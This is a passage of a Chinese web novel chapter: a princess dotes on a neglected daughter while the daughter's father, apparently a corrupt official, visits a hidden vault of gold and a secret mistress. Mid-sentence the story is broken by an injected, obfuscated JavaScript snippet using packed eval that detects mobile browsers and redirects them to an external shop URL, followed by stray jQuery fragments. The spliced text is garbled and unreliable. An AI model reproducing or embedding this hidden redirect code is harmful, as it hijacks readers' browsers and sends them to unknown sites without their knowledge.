在来卧虹院之前,昌宁公主先去了一趟小佛堂。
她不信赵嬷嬷所说。
佛堂里的蜡烛被吃掉,还勉强能说得过去。
但那么大一尊佛像,怎么可能被吃掉?
然而到了佛堂,她发现,里头的佛像真的不见了!
那尊足有丈许高的佛像,那尊当初由数名壮汉才抬进来的佛像,凭空消失了!
昌宁公主下意识给出了一个合理的猜测:“定是有人潜入府中,将佛像盗走了。”
姜文晏:“阿宁,府中日夜都有侍卫巡逻,这尊佛像又如此高大沉重,就算盗贼潜入了府中,又如何能悄无声息地将其运走?”
“可,可也不能是被萼娘给吃了啊。
“佛像是用石头雕刻而成,外面又镀了一层金子,怎么吃得下去?”
姜文晏意味深长道:“人自然吃不下去,但若她不是人呢?”
恰此时,一阵寒冷的夜风吹来。
昌宁公主一个激灵。
偏偏这时,一个婢女跑了来,“殿下,不好了!二娘子她,她——”
昌宁公主:“萼娘怎么了?”
婢女:“奴婢听见二娘子房中传出一阵奇怪的动静,好奇之下,透过窗户往里瞧了瞧,不想竟看见——”
她似乎回忆起了极度恐怖的事情,嗓子被惊恐被扼住,说不出话来。
昌宁公主急了,“你看见了什么?快说!”
婢女大喘一口气,“看见二娘子她,她的脸……”
话未说完,婢女眼睛一翻,竟是吓晕了过去。
昌宁公主拔腿就往卧虹院去。
“人,他们来了!”
福宝远远地就听见了动静,给屋子里的姜鳄通风报信。
姜鳄身上披着一匹流光溢彩的蜀锦,头上插满了各种华丽的簪子,正在揽镜自照。
闻言,她施施然将一只金镯子套在手腕上。
当昌宁公主闯进来时,姜鳄诧异转身,“娘,你怎么来了?”
昌宁公主的目光第一时间落在她脸上,见她脸上并无异样,心里大松一口气。
随后才注意到她的打扮,跟只花孔雀似的。
昌宁公主扑哧一笑,“怎么这么晚了还不睡觉,打扮成这样?”
姜鳄低下头,羞赧道:“叫娘见笑了,我以前从没穿过这么漂亮的衣裳,戴过这么精致的首饰。
“好怕自己只是做了一场梦,梦醒来又回到原先的院子里,所以忍不住就把它们拿了出来……”
话未说完,就被昌宁公主抱住了。
“我的儿,是娘以前忽视了你,娘对不起你……”
昌宁公主一阵心疼,她的女儿,公主府金尊玉贵的小娘子,以往过的都是什么日子啊!
“来,拿着,这是公主府的对牌,以后想买什么就买什么,只管让店家记账。”
昌宁公主将随身佩戴的一枚紫色玉佩塞进了姜鳄手里。
姜文晏见了,眸色霎时黑沉下来。
这枚紫色玉佩,并不是公主府的对牌,而是皇帝赏赐给昌宁公主的一枚入宫令牌。
上面刻着“昌宁”二字,是昌宁公主的身份象征。
拿着它,可以随时进宫,不必等候传唤。
而现在,这枚玉佩落到了姜鳄手里。
可以想见,以后她拿着这枚玉佩,走到哪里都会是座上宾,被人毕恭毕敬地对待。
买东西记账,只是它微不足道的一个小功能。
即便是姜文晏,也从未得到过这样的特殊对待。
此刻,他对这个女儿,不由充满了嫉恨。
嫉恨的同时又满是疑惑,她的脸,怎会一点事都没有?
姜文晏朝院里的一个婢女看去,这名婢女正是方才跑去昌宁公主面前的那个。
原本她被“吓晕”了过去,不知何时又悄悄回来了。
察觉到姜文晏质问的眼神,婢女摇了摇头,表示自己也不知晓。
她也正奇怪呢。
姜鳄中了主人的鬼面蛊,面上应该长满状如恶鬼的瘤子才是。
驸马爷一来,便能趁机将其打成恶鬼,将之除掉。
可事情的发展并未照他们的设想来。
昌宁公主与姜鳄母女情深了一番,依依不舍地松开她。
“夜深了,沅儿早些歇息吧,娘就不打扰你了。”
就在刚刚,昌宁公主给姜鳄取了个小名——沅儿。
用的是已逝母亲沈沅的名字。
姜鳄将昌宁公主送出门,“好,娘亲慢走。”
门一关上,姜鳄脸上的笑意就消失了。
她把玩着那枚刻着“昌宁”二字的紫色玉佩,对阿福道:“带路。”
后罩房,下人住处。
绣春和蕴夏同住一间。
两人说了会儿话,绣春便睡下了。
蕴夏却没睡,等绣春的呼吸声变沉,她悄悄出了屋子。
从袖中拿出一根巴掌长的骨笛,吹奏起来。
骨笛没有发出任何响声。
又或者说,发出的声音,不是人耳能听到的。
但猫却能听到。
阿福领着姜鳄,来到此处。
姜鳄身形如鬼魅,出现在蕴夏身后,幽幽问:“你在吹什么?”
*
回去途中。
昌宁公主絮絮叨叨说着姜萼小时候的事。
察觉丈夫一直没应声,“晏郎,晏郎?”
姜文晏回过神来,“阿宁,我想起来还有些公务没有处理,你先回去歇着罢,不用等我。
“若时辰还早,我便回去陪你,若是晚了,我便在书房歇下,不回去搅扰你了。”
昌宁公主不疑有他,只叮嘱道:“公务是处理不完的,千万别累着了。若是饿了,就叫厨房送夜宵来。”
姜文晏握了握她的手,“好。”
到了书房,姜文晏让随从守在外面,不许任何人进来打扰。
来到书桌后,姜文晏在书桌下方某处转动了一番,身后那摆满书的到顶书架,忽然自中间分开。
里头是一间小小的密室。
摆放了一些珍玩古董,孤本书籍……
乍一看,还以为这里是他的一间私人收藏室。
事实上,也的确如此。
只不过,密室之下,还藏着密室。
姜文晏转动机关,一块地板应声而开。
他举着一盏灯,拾级而下。
一路走,一路点燃石壁上的烛台。
原本漆黑的地下密室,一截一截亮了起来。
密室中,摆放着一个个半人高的大箱子,粗略一数,不下二十个。
每一个箱子上都挂着一把黄澄澄的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652497|205433||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
青铜大锁。
姜文晏从机关匣中取出钥匙,打开了其中一口大箱子。
他手持烛台往里一照,霎时间金光灿灿,流光溢彩。
里头竟是一整箱大金条!
整整齐齐严严实实地码放着。
姜文晏挨个抚摸了一遍,神情愉悦而荡漾,仿佛抚摸的是情人的皮肤。
户部乃是掌管天下钱粮的部门,油水不要太足。
身为户部侍郎的姜文晏,表面清风朗月,不收取任何贿赂。
但实际上呢?这些黄白之物才是他的最爱。
这些箱子里的金银珠宝,是他这些年陆续收来的,他时不时就要来看看。
挨个箱子打开看过摸过一遍后,姜文晏将钥匙放回机关匣子里。
又打开一道机关门,走进一条密道。
从密道里出来时,姜文晏已经来到了一座雅致幽静的宅院。
他从书房出来,悄声走进卧室。
灯下,身姿窈窕的女人,正专心做着绣活儿。
侧脸专注,宁静娴雅,烛火映照下犹如圣母。
“真儿。”
韩淑真一愣,缓缓转过头,表情似嗔似喜:“晏哥哥。”
*
鸳鸯:“二娘子,公主殿下请您一块儿去用早膳。”
姜鳄挑眉,这倒真是稀奇,以往昌宁公主可从来没让人来请原主去用饭。
不过有现成的早饭吃,她干嘛不去?
“走,福宝,咱们一块儿去吃大餐。”
公主的早餐,肯定比她这里要丰盛吧?
姜鳄带着福宝和翠雪往景明殿去。
福宝颠颠地走在前头带路,屁股后那两颗毛绒绒的铃铛像一个爱心。
“沅儿来了,快过来坐。”
姜鳄甫一踏入殿内,昌宁公主就朝她招手,脸上挂着慈爱的笑容。
“娘特意将那位‘小灶王爷’请了来,命他置办了这一桌菜肴,你看看可喜欢?”
姜鳄看着一桌子琳琅满目的美食,哪儿有不喜欢的?
“喜欢,可以吃了吗?”
昌宁公主:“饿了吧,快吃吧。”
一面给她盛了碗汤色乳白的羊汤。
“听闻小灶王爷乳炊羊做得一绝,配上撒了芝麻的胡饼吃,香得很。”
姜鳄直接端起碗来,一口下去,一碗汤就没了。
“嗯,好喝。”就是这碗太小了。
胡饼外皮焦香酥脆,内力却软韧,一口下去,肉馅儿能在嘴里爆汁。
姜鳄一口饼一口汤,吃得额头都冒出了汗。
昌宁公主见了,忙用帕子给她擦了擦汗,“吃慢点儿,没人跟你抢。”
姜鳄满口包着食物,囫囵应着。
昌宁公主又是欣慰又是心酸,又给她夹了许多菜。
自己反倒顾不上吃。
旁边的姜玉瑶更是被她冷落了。
这在从前是根本不可能的事。
姜玉瑶拿着小勺子,小口小口喝着鲜花粥,觉得没滋没味。
从前,占据昌宁公主全部宠爱的人是她,而现在,姜萼竟然从她这里抢走了属于她的宠爱。
姜玉瑶放下勺子,捂着脖子咳嗽起来,玉白的面颊沁上了绯色。
昌宁公主霎时将姜鳄忘到了一边,关切地看向大女儿:“玉娘你怎么了?”